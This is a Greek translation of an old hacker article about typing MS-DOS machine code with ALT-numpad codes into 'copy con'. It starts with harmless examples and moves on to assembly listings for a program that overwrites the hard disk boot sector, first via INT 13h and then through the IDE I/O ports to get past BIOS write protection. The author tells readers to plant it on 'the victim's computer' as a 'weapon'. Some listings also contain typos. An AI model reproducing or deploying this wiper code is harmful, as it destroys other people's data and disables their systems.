|
|
Προγραμματίζοντας Υπό Αντίξοες Συνθήκες
by Alexey Kalmykov (aka B52)
Από τον : Alexey Kalmykov (aka B52)
Μετάφραση στα ελληνικά από τον : \bin\bash ( e-mail: andx@hotmail.com, IRC:
irc.box.sk )
ΕΙΣΑΓΩΓΗ
--------
Τί είναι "αντίξοες συνθήκες"; Όταν κάθεστε σε έναν υπολογιστή που έχει
εγκατεστημένο μόνο το MS-DOS χωρίς μεταγλωττιστές, hex editor, κελύφη,
αποσφαλματωτές και θέλετε να επαναφέρετε χαμένα δεδομένα, να σβήσετε έναν ιό
ή να γράψετε έναν καινούργιο, τότε βρίσκεστε υπό "αντίξοες συνθήκες". Οι
περισσότεροι από τους προγραμματιστές δεν θα μπορέσουν να κάνουν τίποτα και
οι περισσότεροι από τους διαχειριστές νομίζουν ότι αυτός ο υπολογιστής είναι
ασφαλής κατά 100%. Αλλά αυτό δεν θα σταματήσει τον πραγματικό hacker...
Έχω επιλέξει το καθαρό MS-DOS για το λειτουργικό σύστημα όπου προγραμματίζω
επειδή σε μερικές εκδόσεις των Windows υπάρχουν πολλά πράγματα που
διευκολύνουν αυτή την εργασία ( για παράδειγμα στα Windows 98 υπάρχει
ενσωματωμένος φυλλομετρητής με VBScript και JavaScript και έτσι μπορείτε
εύκολα να φτιάξετε έναν hex editor καθώς και άλλα προγράμματα ).
Αυτό το άρθρο θα είναι ενδιαφέρων και για τους νέους hackers αλλά και για
τους έμπειρους. Το συνιστώ επίσης στους προγραμματιστές, διαχεριστές καθώς
και σε οποιονδήποτε θέλει να νιώσει το πνεύμα του hacking, το οποίο τώρα
εξαφανίζεται ταυτόχρονα με την παλιά γεννιά των hackers.
Η ΑΡΧΗ
------
Για να διαβάσετε και να καταλάβετε αυτό το κείμενο το λιγότερο που θα
χρειαστείτε είναι γνώση του συμβολομεταφραστή και εμπειρία εργασίας με το
MS-DOS. Επίσης θα χρειαστείτε τον κατάλογο με τα τις εντολές opcodes των
x86, τον οποίο μπορείτε να τα βρείτε εδώ στα Elf Qrin Hacking Labs, τον
πίνακα των κωδικών ASCII αλλα και πολύ ελεύθερο χρόνο.
Πρώτα από όλα χρειαζόμαστε έναν επεξεργαστή κειμένου. Αλλά ο διαχειριστής
έχει αφαιρέσει ΟΤΙΔΗΠΟΤΕ μπορούσε να μας βοηθήσει. Υπάρχει μόνο ένα πράγμα
που διαφοροποιεί έναν καλό hacker από οποιονδήποτε άλλον hacker - η βαθιά
γνώση του αντικειμένου με το οποίο δουλεύει. Εάν δουλεύει με το DOS τότε
ξέρει τα πάντα για το DOS. Υπάρχει μια ατεκμηρίωτη λειτουργία που ανοίγει
έναν μικρό επεξεργαστή κειμένου, αλλά αυτό φτάνει. Γράψτε την εξής εντολή
του DOS :
C:\copy con test.com
Θα ανοίξει τον επεξεργαστή κειμένου. Αυτό είναι το εργαλείο μας. Αλλά ακόμη
δεν ξέρουμε να γράφουμε προγράμματα σε δυαδικό κώδικα. Εάν κοιτάξετε το
επίσημο εγχειρίδιο του MS-DOS θα βρείτε την απάντηση. Χρησιμποώντας το
πλήκτρο ALT και το αριθμητικό πληκτρολόγιο μπορείτε να γράφετε προγράμματα
σε δυαδικό κώδικα. Πρώτα από όλα ελέγξτε ότι το NumLock είναι ανοιχτό. Τώρα
πατήστε το ALT γράψτε 195 και αφήστε το ALT. Για να σώσετε και να βγείτε
πατήστε CTRL-Z και enter. Τώρα εκτελέστε το.
Δεν κάνει τίποτα αλλά και ούτε σταματάει το σύστημα. Εάν μετατρέψετε τον
κώδικα σε συμβολική γλώσσα θα δείτε ότι το test.com αποτελείται από μια μόνο
εντολή, την RETN. Όπως ήδη μαντέψατε είναι το opcode της RETN ( 195 == 0xC3
) και στο δεκαδικό σύστημα είναι το 195.
ΠΡΟΧΩΡΗΜΕΝΑ
-----------
Εντάξει, ήταν εύκολο. Τώρα δοκιμάστε να εισάγετε αυτό :
ALT-180 ALT-09 ALT-186 ALT-09 ALT-01 ALT-205 ! ALT-195 ALT 32 Hi,world!$
Μετά πατήστε CTRL-Z και enter. Είναι προφανές ότι αυτό το πρόγραμμα
εμφανίζει την φράση "Hi,world!". Ας το μετατρέψουμε σε συμβολική γλώσσα :
49E0:0100 start:
49E0:0100 B4 09 mov ah,9
49E0:0102 BA 0109 mov dx,offset
data_1 ;
(49E0:0109='Hi !!!!')
49E0:0105 CD 21 int 21h
; DOS Services ah=function 09h
; display char string at ds:dx
49E0:0107 C3 retn
49E0:0108 20 db 20h
49E0:0109 48 69 20 21 21 21 data_1 db 'Hi,world!$;
xref 49E0:0102
Ελπίζω να ξέρετε για την αντεστραμμένη σειρά στις λέξεις μηχανής ( ALT-09
ALT-01 = 109 ). Επίσης για να σας δείξω την ομορφιά αυτής της μεθόδου,
χρησιμποποίησα το σύμβολο "!"==0χ21 για να καλέσω το interrupt 0χ21. Έτσι
γνωρίζοντας τον κώδικα ASCII μπορείτε να κάνετε την ζωή σας πιo εύκολη. Αλλά
γιατί να χρειαζόμαστε το σύμβολο (20h == ALT-32 == " ") στη διεύθυνση
49E0:0108 ;
Αυτό είναι το κύριο μειονέκτημα αυτής της μεθόδου. Χρησιμοποιώντας το ALT
και το αριθμητικό πληκτρολόγιο δεν μπορούμε να εισάγουμε μερικά σύμβολα.
Παρακάτω είναι μερικά από αυτά :
0,3,6,8,16(0x10),19(0x13),27(0x1b),255(0xFF)
Πρέπει να αποφεύγετε αυτά τα σύμβολα. Εάν κοιτάξετε τον κώδικα θα δείτε ότι
το πραγματικό offset είναι το 0χ108. Αφ' ότου προσθέσαμε το σύμβολο, το
offset έγινε το 0χ109. Υπάρχει και ένας πιο κομψός τρόπος για να το κάνετε :
mov dx,109
dec sx
Αυτοί οι δύο εναλλακτικοί τρόποι έχουν το ίδιο αποτέλεσμα ( dec dx == 1 byte
) και μπορείτε να διαλέξετε όποιον σας αρέσει.
Ένα από τα κύρια προβλήματα είναι η εύρεση των offset για τις μεταβλητές και
τις ετικέτες. Μπορείτε να γράψετε το πρόγραμμα στο χαρτί δίνοντας στις
μεταβλητές συμβολικά ονόματα και μετά το πρόγραμμα θα είναι έτοιμο καθώς θα
είναι έτοιμο να βρείτε τα offset και τις διευθύνσεις. Ένας άλλος τρόπος
είναι να δηλώσετε όλες τις μεταβλητές πριν από την χρήση τους :
mov ah,9
jmp sort $+20
db 'Hi,world!'$
mov dx,0x100+2+2; 0x100 - the base adress,2 - length of
; mov ah,9, 2 - length of jmp
Η εντολή jmp short $+20 κρατάει 20 bytes για την συμβολοσειρά. Αυτή η
μέθοδος θα μπορούσε να χρησιμοποιηθεί και για τις ετικέτες.
ΤΟ ΠΑΡΑΔΕΙΓΜΑ
-------------
Νομίζω ότι έχετε κουραστεί από αυτά τα θεωρητικά προγράμματα και είστε
έτοιμοι να εφαρμόσετε την μέθοδο στην πράξη. Σαν παράδειγμα, θα
προσπαθήσουμε να φτιάξουμε ένα πρόγραμμα που να σβήνει το boot sector.
Προσοχή! Η χρήση αυτού το προγράμματος για να καταστρέψετε δεδομένα είναι
έγκλημα. Θα πρέπει να το χρησιμοποιήσετε μόνο για πειραματικούς σκοπούς.
Πρώτα ας το γράψουμε στον συμβλομεταφραστή :
B80103 mov ax,00301
B90100 mov cx,00001
BA8000 mov dx,00080
CD13 int 013
C3 retn
Όπως βλέπετε έχουμε ένα #0, ένα #9 και ένα #19. Ας μετατρέψουμε το πρόγραμμα
ώστε να τα αποφύγουμε :
xor ax,ax
mov ds,ax
mov ax,00299
inc ax
inc ax
xor cx,cx
inc cx
mov dl,80
mov bx,13h*4
pushf
cli
push cs
call dword ptr [bx]
retn
Είναι όντως ένα δύσκολο παράδειγμα. Ο προγραμματισμός σην συμβολική γλώσσα
και με τα interrupts δεν είναι το θέμα αυτού του άρθρου. Το μόνο που μπορώ
να κάνω είναι να σας παραπέμπψω σε αναφορές για αυτό το θέμα, κάτι που
μπορείτε εύκολα να βρείτε στο Διαδίκτυο.
Αυτό είναι όλο : Βάλτε το στον υπολογιστή του θύματος και έχετε ένα
πανίσχυρο όπλο. Σας συνιστώ να το χρησιμποιήσετε με προσοχή.
Ευτυχώς ή δυστυχώς ( ανάλογα με τον προσανατολισμό του αναγνώστη ), στο BIOS
υπάρχει μια προστασία κατά της εγγραφής του boot sector ( μερικές φορές
λέγεται "Προειδοποίηση για ιό" ). Αυτή θα εμποδίσει κάθε προσπάθεια για την
τροποποίηση του boot sector. Υπάρχει και κάτι άλλο όμως, μπορεί να
εγκατασταθεί ειδικό λογισμικό. Για παράδειγμα, το πρόγραμμα αυτό δεν θα
κάνει τίποτα εάν εκτελεστεί στο λειτουργικό σύστημα Windows 98. Αλλά ακόμη
μπορούμε να εργαστούμε σε ένα χαμηλό επίπεδο με τις Θύρες I/O του σκληρού
δίσκου.
Παραθέτω ένα παράδειγμα ενός προγράμματος που σβήνει το boot sector μέσω των
θυρών I/O :
mov dx, 1F2h
mov al,1
out dx,al
inc dx
out dx,al
inc dx
xor ax,ax
out dx,al
inc dx
out dx,al
mov al, 10100000b
inc dx
out dx,al
inc dx
mov al,30h
out dx,al
lea si, Buffer
mov dx, 1F0h
mov cx, 513
rep outsw
Δεν ξέρω κάποια γνωστή προστασία η οποία μπορεί να εντοπίσει και να
εμποδίσει αυτό το πρόγραμμα. Ωστόσο αυτό δεν αφορά τα Windows NT, αυτό το
λειτουργικό σύστημα δεν θα επιτρέψει σε κανένα πρόγραμμα χωρίς τα απαραίτητα
δικαιώματα να δουλεύει με θύρες, και ακόμη περισσότερο θα κλείσει το
παράθυρο του προγράμματος αυτού!
Την προετοιμασία αυτού του προγράμματος για εισαγωγή του με το ALT και την
βελτιστοποίηση του μεγέθους την αφήνω σαν πρακτική εξάσκηση του αναγνώστη.
ΤΕΛΟΣ
-----
Δεν είναι εύκολο. Απαιτείται πολύ εμπειρία και ταλέντο αλλά σας δίνει
απίστευτη δύναμη σε έναν υπολογιστή. Ελπίζω ότι δεν θα χρησιμοποίησετε αυτή
την δύναμη για καταστροφή καθώς επίσης και ότι αυτό το άρθρο θα αποτελέσει
ένα βήμα πίσω προς το "αυθεντικό πνεύμα του hacking".